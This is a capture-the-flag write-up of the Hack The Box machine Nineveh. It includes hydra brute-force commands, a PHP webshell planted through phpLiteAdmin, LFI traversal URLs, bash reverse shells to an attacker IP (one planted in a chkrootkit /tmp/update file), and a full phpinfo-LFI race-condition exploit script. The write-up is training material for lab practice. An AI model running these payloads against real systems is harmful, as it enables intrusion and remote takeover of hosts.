Published on

HTB Nineveh

Authors

Nineveh

Enumeration

nmap find all ports

nmap -p- -Pn $IP -o full-enumerate.nmap

ā””ā”€$ nmap -p- -Pn $IP -o full-enumerate.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-23 22:07 EDT
Nmap scan report for 10.10.10.43
Host is up (0.018s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 106.28 seconds

~/Tools/COLLINHACKS/Lab/nmap-awk.sh full-enumerate.nmap

cat ports.nmap

nmap check UDP

sudo nmap -sU --top-ports 1000 -v $IP -o udp.nmap

nmap all identified ports + default scripts & service versions

nmap -p <1,2,3> -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap

ā””ā”€$ nmap -p 80,443 -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-23 22:09 EDT
Nmap scan report for 10.10.10.43
Host is up (0.032s latency).

PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| http-headers: 
|   Date: Sun, 24 Sep 2023 02:09:45 GMT
|   Server: Apache/2.4.18 (Ubuntu)
|   Last-Modified: Sun, 02 Jul 2017 23:49:44 GMT
|   ETag: "b2-5535e4e04002a"
|   Accept-Ranges: bytes
|   Content-Length: 178
|   Vary: Accept-Encoding
|   Connection: close
|   Content-Type: text/html
|   
|_  (Request type: HEAD)
|_http-server-header: Apache/2.4.18 (Ubuntu)
443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| http-headers: 
|   Date: Sun, 24 Sep 2023 02:09:46 GMT
|   Server: Apache/2.4.18 (Ubuntu)
|   Last-Modified: Sun, 02 Jul 2017 23:50:02 GMT
|   ETag: "31-5535e4f1dfd20"
|   Accept-Ranges: bytes
|   Content-Length: 49
|   Connection: close
|   Content-Type: text/html
|   
|_  (Request type: HEAD)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.18 (Ubuntu)
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after:  2018-07-01T15:03:30
| tls-alpn: 
|_  http/1.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.60 seconds

nmap vuln scan

nmap -p <1,2,3> --script vuln $IP -o vuln.nmap

ā””ā”€$ nmap -p 80,443 --script vuln $IP -o vuln.nmap                                                              
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-23 22:10 EDT
Nmap scan report for 10.10.10.43
Host is up (0.071s latency).

PORT    STATE SERVICE
80/tcp  open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|_  /info.php: Possible information file
443/tcp open  https
| http-cookie-flags: 
|   /db/: 
|     PHPSESSID: 
|       secure flag not set and HTTPS in use
|_      httponly flag not set
| http-enum: 
|   /db/: BlogWorx Database
|_  /db/: Potentially interesting folder
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

Nmap done: 1 IP address (1 host up) scanned in 323.16 seconds

Port Enumeration

**Port 80

Untitled

********Port 443

Untitled

  • https://10.10.10.43/db/
    • login page that immediately draws an error just from visiting it phpLiteAdmin v1.9

      Untitled

    • I think this is definitely the point of interest.. weā€™ll see

  • https://10.10.10.43/secure_notes/nineveh.png
    • Might want to fuzz /secure_notes/ too if thereā€™s more here

    • downloaded this

    • strings nineveh.png

      Untitled

    • ssh isnā€™t open on this box but we do see nineveh.htb so we can add this to /etc/hosts

    • This does also kinda look like LFI, I see like secret/nineveh.pub

Onto Foothold


Exploitation

**********Port 80 & 443

Foothold

hydra on admin account

  1. http://10.10.10.43/department/login.php

    1. We know admin exists from enumeration so I tried hydra:

    2. hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password" -I -t 64 -v

    3. admin:1q2w3e4r5t

      Untitled

  2. We get in

    Untitled

another way to get into /department/login.php

  1. When we request we see username=admin&password=admin in the Burp request
  2. If we change it to: username=admin&password[]= itā€™ll let us in, this is PHP type juggling bug that works because you send the password POST data as an array.

hydra again

  1. We have another login page here https://10.10.10.43/db/index.php

    Untitled

  2. Hydra it with admin

    1. hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password" -I -t 64 -v

    2. admin:password123

      Untitled

Remote PHP Code Injection - phpLiteAdmin v1.9

  1. We are logged in

    Untitled

  2. https://www.exploit-db.com/exploits/24044

    1. Rename ā€˜test' to a new database called hack.php

      1. Could also name this ninevehnotes.php, because for the LFI we have later in the writeup here, when we remove .txt, we can call from specifically /ninevehNotes/../../ but if we just call /ninevehNotes/ to /ninevehNotes.php/ we can exploit LFI.
    2. Create a new table, called it hack with number of field 1

      Untitled

    3. Add a TEXT field with:

      <?php echo system($_REQUEST["cmd"]); ?>
      

      Untitled

  3. Now we need to execute this somehow, it is in /var/tmp/hack.php so probably LFI clue from earlier

    Untitled

LFI

  1. Clicking on ā€œNotes" shows us:
    1. http://10.10.10.43/department/manage.php?notes=files/ninevehNotes.txt

      Untitled

  2. Remove the .txt in the url and we get LFI
    1. Original: http://10.10.10.43/department/manage.php?notes=files/ninevehNotes.txt

    2. LFI: http://10.10.10.43/department/manage.php?notes=files/ninevehNotes/../../../../../../../../etc/passwd

      Untitled

LFI to Shell

  1. We combine what we did so far with LFI and RFI, and use the LFI found in /department/manage.php?notes= to call straight to our hack.php
    1. http://10.10.10.43/department/manage.php?notes=/ninevehNotes/../../../../var/tmp/hack.php&cmd=id

      Untitled

  2. Put this request into Burp just so we can URL encode easily with Ctrl + U
  3. Grab a reverse shell payload
    1. /bin/bash -i >& /dev/tcp/10.10.16.6/9001 0>&1
    2. Modified it to bash -c '/bin/bash -i >& /dev/tcp/10.10.16.6/9001 0>&1'
  4. Local:
    1. 9001
  5. Target:
    1. /department/manage.php?notes=/ninevehNotes/../../../../var/tmp/hack.php&cmd=bash+-c+'/bin/bash+-i+>%26+/dev/tcp/10.10.16.6/9001+0>%261'

      Untitled

We got a user as www-data not the user in /home so likely we need to exploit a process and then that gets us to user which is namrois and then we do some sort of simple privesc to root, thatā€™s my guess judging from CTF experience

Root

  1. linpeas.sh
    1. /etc/init.d/knockd found
  2. pspy64
    1. We see a bunch of /bin/sh /usr/bin/chkrootkit
  3. We see a script for knockd from linpeas.sh and we can confirm it is on this machine with
    1. knock

      Untitled

    2. cat /etc/knockd.conf

      Untitled

  4. Ports 571, 290, and 911 are being used locally with iptables as input from any ip %IP% and accepting it -j ACCEPT which impersonating as port 22 --dport 22

Using nmap to exploit knock / port knocking

  1. So we have that ssh key from earlier from the png, we can use that along with nmap to knock on each port to try and authenticate

  2. If we do for i in 571 290 911; do nmap -Pn -p $i --host-timeout 201 --max-retries 0 10.10.10.43; done we will knock on each port with a specific timeout to open port 22

    Untitled

Was stuck here for awhile could not figure it out so followed writeup and still couldnā€™t get it, ippsec did the same thing here and his 22 opened.

  1. Then we would ssh -i nineveh.priv amrois@10.10.10.43 and be root

Alternative root from earlier in our linpeas.sh: chkrootkit

  1. In pspy64 there was a bunch of chkrootkit happening and there is an exploit for local privesc with this:

    1. https://www.exploit-db.com/exploits/33899
  2. Following the exploit; make a file in /tmp/ called update

    1. touch /tmp/update
  3. Make it executable

    1. chmod +x update
  4. Add a reverse shell to it

    1. echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/10.10.16.6/9002 0>&1' > update

      Untitled

  5. Wait locally for a root callback nc -lvnp 9002

    Untitled

Alternative Exploit Path to www-data

  1. Earlier when I fuzzed the http:// destinate we found phpinfo at http://10.10.10.43/info.php, and it has file_uploads on

    Untitled

  2. We can use this to execute a python script from here https://www.insomniasec.com/downloads/publications/phpinfolfi.py called phpinfolfi.py

    1. And modify it as followed:
      1. Change the payload to a bash shell
      2. Change the LFI location
      3. Add the PHPSESSID
      4. Change [tmp_name] => to [tmp_name] =&gt; since this is how PHP takes this to an HTML code
      5. Add our local_ip local_port and phpsessid= at the top
  • Full script

    #!/usr/bin/python 
    import sys
    import threading
    import socket
    
    local_ip = "10.10.16.6"
    local_port = 443
    phpsessid = "9q7hg6j3766cb5f9o6pedk9s42"
    
    def setup(host, port):
        TAG="Security Test"
        PAYLOAD="""%s\r <?php system("bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1'");?>\r""" % (TAG, local_ip, local_port)
        REQ1_DATA="""-----------------------------7dbff1ded0714\r
    Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
    Content-Type: text/plain\r
    \r
    %s
    -----------------------------7dbff1ded0714--\r""" % PAYLOAD
        padding="A" * 5000
        REQ1="""POST /info.php?a="""+padding+""" HTTP/1.1\r
    Cookie: PHPSESSID=9q7hg6j3766cb5f9o6pedk9s42; othercookie="""+padding+"""\r
    HTTP_ACCEPT: """ + padding + """\r
    HTTP_USER_AGENT: """+padding+"""\r
    HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
    HTTP_PRAGMA: """+padding+"""\r
    Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
    Content-Length: %s\r
    Host: %s\r
    \r
    %s""" %(len(REQ1_DATA),host,REQ1_DATA)
        #modify this to suit the LFI script   
        LFIREQ="""GET /department/manage.php?notes=/ninevehNotes/..%s HTTP/1.1\r
    User-Agent: Mozilla/4.0\r
    Proxy-Connection: Keep-Alive\r
    Host: %s\r
    \r
    \r
    """
        return (REQ1, TAG, LFIREQ)
    
    def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    
    
        s.connect((host, port))
        s2.connect((host, port))
    
        s.send(phpinforeq)
        d = ""
        while len(d) < offset:
            d += s.recv(offset)
        try:
            i = d.index("[tmp_name] =&gt;")
            fn = d[i+17:i+31]
        except ValueError:
            return None
    
        s2.send(lfireq % (fn, host))
        d = s2.recv(4096)
        s.close()
        s2.close()
    
        if d.find(tag) != -1:
            return fn
    
    counter=0
    class ThreadWorker(threading.Thread):
        def __init__(self, e, l, m, *args):
            threading.Thread.__init__(self)
            self.event = e
            self.lock =  l
            self.maxattempts = m
            self.args = args
    
        def run(self):
            global counter
            while not self.event.is_set():
                with self.lock:
                    if counter >= self.maxattempts:
                        return
                    counter+=1
    
                try:
                    x = phpInfoLFI(*self.args)
                    if self.event.is_set():
                        break                
                    if x:
                        print "\nGot it! Shell created in /tmp/g"
                        self.event.set()
                        
                except socket.error:
                    return
        
    
    def getOffset(host, port, phpinforeq):
        """Gets offset of tmp_name in the php output"""
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host,port))
        s.send(phpinforeq)
        
        d = ""
        while True:
            i = s.recv(4096)
            d+=i        
            if i == "":
                break
            # detect the final chunk
            if i.endswith("0\r\n\r\n"):
                break
        s.close()
        i = d.find("[tmp_name] =&gt;")
        if i == -1:
            raise ValueError("No php tmp_name in phpinfo output")
        
        print "found %s at %i" % (d[i:i+10],i)
        # padded up a bit
        return i+256
    
    def main():
        
        print "LFI With PHPInfo()"
        print "-=" * 30
    
        if len(sys.argv) < 2:
            print "Usage: %s host [port] [threads]" % sys.argv[0]
            sys.exit(1)
    
        try:
            host = socket.gethostbyname(sys.argv[1])
        except socket.error, e:
            print "Error with hostname %s: %s" % (sys.argv[1], e)
            sys.exit(1)
    
        port=80
        try:
            port = int(sys.argv[2])
        except IndexError:
            pass
        except ValueError, e:
            print "Error with port %d: %s" % (sys.argv[2], e)
            sys.exit(1)
        
        poolsz=10
        try:
            poolsz = int(sys.argv[3])
        except IndexError:
            pass
        except ValueError, e:
            print "Error with poolsz %d: %s" % (sys.argv[3], e)
            sys.exit(1)
    
        print "Getting initial offset...",  
        reqphp, tag, reqlfi = setup(host, port)
        offset = getOffset(host, port, reqphp)
        sys.stdout.flush()
    
        maxattempts = 1000
        e = threading.Event()
        l = threading.Lock()
    
        print "Spawning worker pool (%d)..." % poolsz
        sys.stdout.flush()
    
        tp = []
        for i in range(0,poolsz):
            tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
    
        for t in tp:
            t.start()
        try:
            while not e.wait(1):
                if e.is_set():
                    break
                with l:
                    sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                    sys.stdout.flush()
                    if counter >= maxattempts:
                        break
            print
            if e.is_set():
                print "Woot!  \m/"
            else:
                print ":("
        except KeyboardInterrupt:
            print "\nTelling threads to shutdown..."
            e.set()
        
        print "Shuttin' down..."
        for t in tp:
            t.join()
    
    if __name__=="__main__":
        main()
    
  1. python2 phpinfolfi.py 10.10.10.43 80 100
  2. nc -lvnp 443
  3. Shell

Useful resource links

Notes on this LFI exploit from 0xdf:

notes parameterError Message
ninevehNotes.txtNo error, displays note
/etc/passwdNo Note is selected.
../../../../../../../../../../etc/passwdNo Note is selected.
ninevehNotesWarning: include(files/ninevehNotes): failed to open stream:
No such file or directory in /var/www/html/department/manage.php on line
31
ninevehNoteNo Note is selected.
files/ninevehNotes/../../../../../../../../../etc/passwdFile name too long.
files/ninevehNotes/../../../../../../../etc/passwdThe contents of /etc/passwd
/ninevehNotes/../etc/passwdThe contents of /etc/passwd

https://wiki.archlinux.org/title/Port_knocking

https://www.exploit-db.com/exploits/33899

https://0xdf.gitlab.io/2020/04/22/htb-nineveh.html

Lessons Learned

  • too much
  • port knocking
  • exploiting chkrootkit
  • practiced some LFI that was hard af to figure out
  • practiced some simple RFI that was only possible because of our LFI
  • practiced some hydra
  • phpLiteAdmin v1.9